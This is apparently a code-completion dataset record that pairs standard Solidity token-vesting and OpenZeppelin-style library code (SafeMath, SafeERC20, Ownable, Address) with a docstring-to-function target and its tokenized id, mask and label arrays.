(address) { return _beneficiary; } /** * @return the cliff time of the token vesting. */ function cliff() public view returns (uint256) { return _cliff; } /** * @return the start time of the token vesting. */ function start() public view returns (uint256) { return _start; } /** * @return the duration of the token vesting. */ function duration() public view returns (uint256) { return _duration; } /** * @return true if the vesting is revocable. */ function revocable() public view returns (bool) { return _revocable; } /** * @return the amount of the token released. */ function released(address token) public view returns (uint256) { return _released[token]; } /** * @return true if the token is revoked. */ function revoked(address token) public view returns (bool) { return _revoked[token]; } /** * @notice Transfers vested tokens to beneficiary. * @param token ERC20 token which is being vested */ function release(IERC20 token) public { uint256 unreleased = _releasableAmount(token); require(unreleased > 0, "TokenVesting::release: no tokens are due"); _released[address(token)] = _released[address(token)].add(unreleased); token.safeTransfer(_beneficiary, unreleased); emit TokensReleased(address(token), unreleased); } /** * @notice Transfers vested tokens to given address. * @param token ERC20 token which is being vested * @param receiver Address receiving the token * @param amount Amount of tokens to be transferred */ function releaseToAddress(IERC20 token, address receiver, uint256 amount) public { require(_msgSender() == _beneficiary, "TokenVesting::setBeneficiary: Not contract beneficiary"); require(amount > 0, "TokenVesting::_releaseToAddress: amount should be greater than 0"); require(receiver != address(0), "TokenVesting::_releaseToAddress: receiver is the zero address"); uint256 unreleased = _releasableAmount(token); require(unreleased > 0, "TokenVesting::_releaseToAddress: no tokens are due"); require(unreleased >= amount, "TokenVesting::_releaseToAddress: enough tokens not vested yet"); _released[address(token)] = _released[address(token)].add(amount); token.safeTransfer(receiver, amount); emit TokensReleasedToAccount(address(token), receiver, amount); } /** * @notice Allows the owner to revoke the vesting. Tokens already vested * remain in the contract, the rest are returned to the owner. * @param token ERC20 token which is being vested */ function revoke(IERC20 token) public onlyOwner { require(_revocable, "TokenVesting::revoke: cannot revoke"); require(!_revoked[address(token)], "TokenVesting::revoke: token already revoked"); uint256 balance = token.balanceOf(address(this)); uint256 unreleased = _releasableAmount(token); uint256 refund = balance.sub(unreleased); _revoked[address(token)] = true; token.safeTransfer(owner(), refund); emit VestingRevoked(address(token)); } /** * @notice Change the beneficiary of the contract * @param newBeneficiary The new beneficiary address for the Contract */ function setBeneficiary(address newBeneficiary) public { require(_msgSender() == _beneficiary, "TokenVesting::setBeneficiary: Not contract beneficiary"); require(_beneficiary != newBeneficiary, "TokenVesting::setBeneficiary: Same beneficiary address as old"); _beneficiary = newBeneficiary; emit BeneficiaryChanged(newBeneficiary); } /** * @dev Calculates the amount that has already vested but hasn't been released yet. * @param token ERC20 token which is being vested */ function _releasableAmount(IERC20 token) private view returns (uint256) { return _vestedAmount(token).sub(_released[address(token)]); } /** * @dev Calculates the amount that has already vested. * @param token ERC20 token which is being vested */ function _vestedAmount(IERC20 token) private view returns (uint256) { uint256 currentBalance = token.balanceOf(address(this)); uint256 totalBalance = currentBalance.add(_released[address(token)]); if (block.timestamp < _cliff) { return 0; } else if (block.timestamp >= _start.add(_duration) || _revoked[address(token)]) { return totalBalance; } else { return totalBalance.mul(block.timestamp.sub(_start)).div(_duration); } } /** * @dev Returns the amount that has already vested. * @param token ERC20 token which is being vested */ function vestedAmount(IERC20 token) public view returns (uint256) { return _vestedAmount(token); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } }
* @return true if the vesting is revocable./
function revocable() public view returns (bool) { return _revocable; }
56,402
[ 1, 2463, 638, 309, 326, 331, 10100, 353, 5588, 504, 429, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 5588, 504, 429, 1435, 1071, 1476, 1135, 261, 6430, 13, 288, 203, 3639, 327, 389, 9083, 504, 429, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see 